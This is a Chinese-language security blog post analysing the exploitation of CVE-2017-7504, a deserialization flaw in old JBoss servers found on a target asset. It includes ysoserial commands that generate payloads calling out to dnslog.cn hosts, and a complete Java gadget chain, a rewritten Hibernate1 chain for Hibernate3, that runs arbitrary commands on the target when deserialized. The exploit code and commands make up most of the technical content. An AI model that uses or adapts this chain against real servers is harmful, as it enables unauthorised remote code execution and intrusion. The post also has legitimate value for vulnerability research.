一次老版本jboss反序列化漏洞的利用分析

盛邦安全發表於2022-09-28

1、前沿


在一次活動中意外發現目標一個偏遠的資產使用了老版本的jboss,使用漏洞掃描工具發現目標存在反序列化漏洞元件,如圖1.1所示。這個頁面允許訪問,基本上可以判斷CVE-2017-7504的漏洞。

圖片

圖1.1 Jboss反序列化漏洞利用點


此漏洞的細節很簡單,就是直接透過POST的方式向這個地址傳輸序列化之後的payload即可。為了方便,我們直接使用ysoserial來生成payload。

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://11.pzpfiy.dnslog.cn" > poc.ser


    然後透過burp把生成的poc.ser傳送給目標地址,如圖1.2所示。

    圖片

    圖1.2 傳送序列化的payload


    檢視DNSLOG的請求日誌,可以看到payload利用成果,記錄到dns請求日誌,如圖1.3所示。

    圖片


    看起來一切都很正常,如果事情就這麼簡單的進行,也就沒有寫一篇文章的必要了。上面的payload只能記錄dns請求,並不能執行系統命令。要執行系統命令,需要使用其他的利用鏈。網上有很多關於這個漏洞的exp和分析文章,基本上都是說的直接利用CommonsCollections利用鏈就可以成功了。


    但是,實際情況是我把CC1-CC7都試了一遍,但是沒有一條鏈可以利用成功。我們以網上文章中用的最多的CC5為例來說明整個過程。

      java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "ping -n 1 22.pzpfiy.dnslog.cn" > poc.ser


      然後與上面URLDNS利用鏈一樣,傳送生成的payload,結果是沒有收到ping傳送的dns請求,相當於命令沒有執行成功。


      難道說CommonsCollections包不是jboss預設就引用的嗎?難道說低版本的jboss有一些奇怪的特性嗎?


      2、探索


      懷著對漏洞探索的精神,從網上找了很久找到一個與目標相同版本的漏洞環境。透過一定的手段拿到了我想要的原始碼。檢視jboss對應的目錄結構,發現確實是存在預設引用的CommonsCollections包,如圖2.1所示。

      圖片

      圖2.1 Jboss中存在的CommonsCollections包


      但是用ysoserial來測試發現仍然不能測試成功,最後發現低版本的jboss引用的CommonCollections不是3.x的版本,而是2.x的版本。如圖2.2所示。

      圖片

      圖2.2 對比jboss和yso中的CommonCollections版本


      這裡可以看出jboss中引入的是CommonsCollections2.1的版本,而一般我們平時能利用的版本都是3.x。而2.1的版本中因為缺少一些CC鏈必須的元件而不能利用,如圖2.3所示。

      圖片

      圖2.3 CommonsCollections2.1包中缺少必要的functors相關類


      那麼還有沒有其他利用鏈可以被利用的呢?接下來需要對比ysoserial提供的全部利用鏈和jboss中引入的jar包來看。


      第一個我看到的是JBossInterceptors1利用鏈,從名字來看這條利用鏈是專門的jboss相關利用鏈,但是實際上在我們的環境中根本就沒有找到這條鏈要用到的interceptor包中的類例如DefaultInvocationContextFactory,如圖2.4所示。所以這條鏈用不通。

      圖片

      圖2.4 目標環境中不存在DefaultInvocationContextFactory類


      第二個我看到的是Hibernate1和Hibernate2,兩條利用鏈關於hibernate中的部分是一樣的,只是一個是透過JdbcRowSetImpl來觸發,另一個是透過xalan來觸發。我個人更喜歡xalan,所以直接透過Hibernate1利用鏈來除錯。


      Hibernate1利用鏈中主要分成makeGetter和makeCaller兩個步驟。

      在makeGetter中主要用到的類org.hibernate.property.BasicPropertyAccessor$BasicGetter在目標中也存在,我們就不過多贅述,有興趣的小夥伴可以去翻看ysoserial的原始碼。主要來看makeCaller這步,因為這步中用到的多個類在目標的jboss環境都不存在,如圖2.5、圖2.6所示。

      圖片

      圖2.5 ysoserial在makeCaller中用到的類


      圖片

      圖2.6 目標Jboss中不存在EntityEntityModeToTuplizerMapping類


      所以我們直接利用ysoserial的Hibernate1利用鏈是不能成功的,但是仔細對Hibernate1利用鏈進行分析可以看出漏洞利用過程中的呼叫棧中並沒有涉及到上述不存在的類,上述不存在的類主要用於設定一些類的屬性欄位,可以透過其他類來代替。


      重寫Hibernate1利用鏈,完整的程式碼如下所示。其中最主要的是修改了makeCaller中的部分邏輯。因為ysoserial在編寫Hibernate1利用鏈時主要是用於Hibernate4以上版本。而我們目標是Hibernate3的版本。

        import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
        import org.hibernate.EntityMode;
        import org.hibernate.engine.TypedValue;
        import org.hibernate.tuple.AbstractComponentTuplizer;
        import org.hibernate.tuple.PojoComponentTuplizer;
        import org.hibernate.tuple.Tuplizer;
        import org.hibernate.tuple.TuplizerLookup;
        import org.hibernate.type.AbstractType;
        import org.hibernate.type.Type;
        import org.hibernate.type.ComponentType;
        import java.io.*;
        import java.lang.reflect.*;
        import java.util.HashMap;
        import java.util.Map;
        public class JbossOld {    
        public static Object generatePayload() throws Exception {        
        String command = "ping -n 1 22.v9t25u.dnslog.cn";        
        Object tpl = Gadgets.createTemplatesImpl(command);        
        TemplatesImpl tl = (TemplatesImpl) tpl;        
        // tl.getOutputProperties();
                Object getters = makeGetter(tpl.getClass(), "getOutputProperties");        
                return makeCaller(tpl, getters);        
                //return null;    
                }
            public static Object makeGetter ( Class<?> tplClass, String method ) throws Exception{       
            Class<?> getterIf = Class.forName("org.hibernate.property.Getter");        
            Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");        
            Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);        
            Reflections.setAccessible(bgCon);
                if ( !method.startsWith("get") ) {            
                throw new IllegalArgumentException("Hibernate can only call getters");        
                }
                String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
                Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);        
                Object arr = Array.newInstance(getterIf, 1);        
                Array.set(arr, 0, g);        
                return arr;    
                }    
                static Object makeCaller ( Object tpl, Object getters ) throws Exception {        
                Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
                PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);        
                Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);        
                Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
                ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);        
                HashMap hm = new HashMap();        
                hm.put(EntityMode.POJO, tup);
                Class<?> tlClazz = Class.forName("org.hibernate.tuple.TuplizerLookup");        
                Constructor<?> tlCon = tlClazz.getDeclaredConstructor(Tuplizer.class, Tuplizer.class, Tuplizer.class);        
                Reflections.setAccessible(tlCon);        
                Object tuplizerLookup = tlCon.newInstance(null, null, null);        
                Reflections.setFieldValue(tuplizerLookup, "pojoTuplizer", tup);        
                Reflections.setFieldValue(t, "tuplizers", tuplizerLookup);        
                Reflections.setFieldValue(t, "propertySpan", 1);        
                Reflections.setFieldValue(t, "propertyTypes", new Type[] {                
                t        
                });                
                Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);        
                Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        
                Reflections.setFieldValue(v1, "value", tpl);        
                Reflections.setFieldValue(v1, "type", t);
                Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        
                Reflections.setFieldValue(v2, "value", tpl);        
                Reflections.setFieldValue(v2, "type", t);
                return Gadgets.makeMap(null, v2);    
                }    
                public static void main(String[] args) throws Exception {         
                payload2File(generatePayload(),"test.ser");         
                payloadTest("test.ser");    
                }    
                public static void payload2File(Object instance, String file)            
                throws Exception {        
                //將構造好的payload序列化後寫入檔案中        
                ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));        
                out.writeObject(instance);        
                out.flush();        
                out.close();    
                }    
                public static void payloadTest(String file) throws Exception {        
                //讀取寫入的payload,並進行反序列化        
                ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));        
                in.readObject();        
                in.close();    
                }}


        除錯反序列化利用鏈的程式碼是一個很麻煩的事情,有興趣的小夥伴可以把我上面的程式碼去跟一下,其中主要用到的呼叫過程如下。其中標紅部分都和傳統Hibernate1利用鏈不一樣。

        java.util.HashMap readObject() --> 

        org.hibernate.engine.TypedValue hashCode() --> 

        org.hibernate.type getHashCode() --> 

        org.hibernate.type. ComponentType getPropertyValues() --> 

        org.hibernate.tuple. PojoComponentTuplizer getPropertyValues() --> 

        org.hibernate.tuple getPropertyValue() --> 

        org.hibernate.property get() --> 

        om.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl getOutputProperties()


        透過上面程式碼生成test.ser的payload檔案,向目標地址傳送對應的payload,如圖2.7所示。

        圖片

        圖2.7 傳送改進的Hibernate1利用鏈


        然後在DNSLOG平臺就可以看到由於ping命令導致的命令執行結果,如圖2.8所示。這也就代表我們整個利用鏈除錯成功。

        圖片


        3、結論


        目前ysoserial中的Hibernate利用鏈是針對Hibernate4及以上版本,本文提出的主要是在實際工作中遇到的jboss4+hibernate3的解決方案。屬於對原有ysoserial中反序列化利用鏈的最佳化。


        原文連結

        相關文章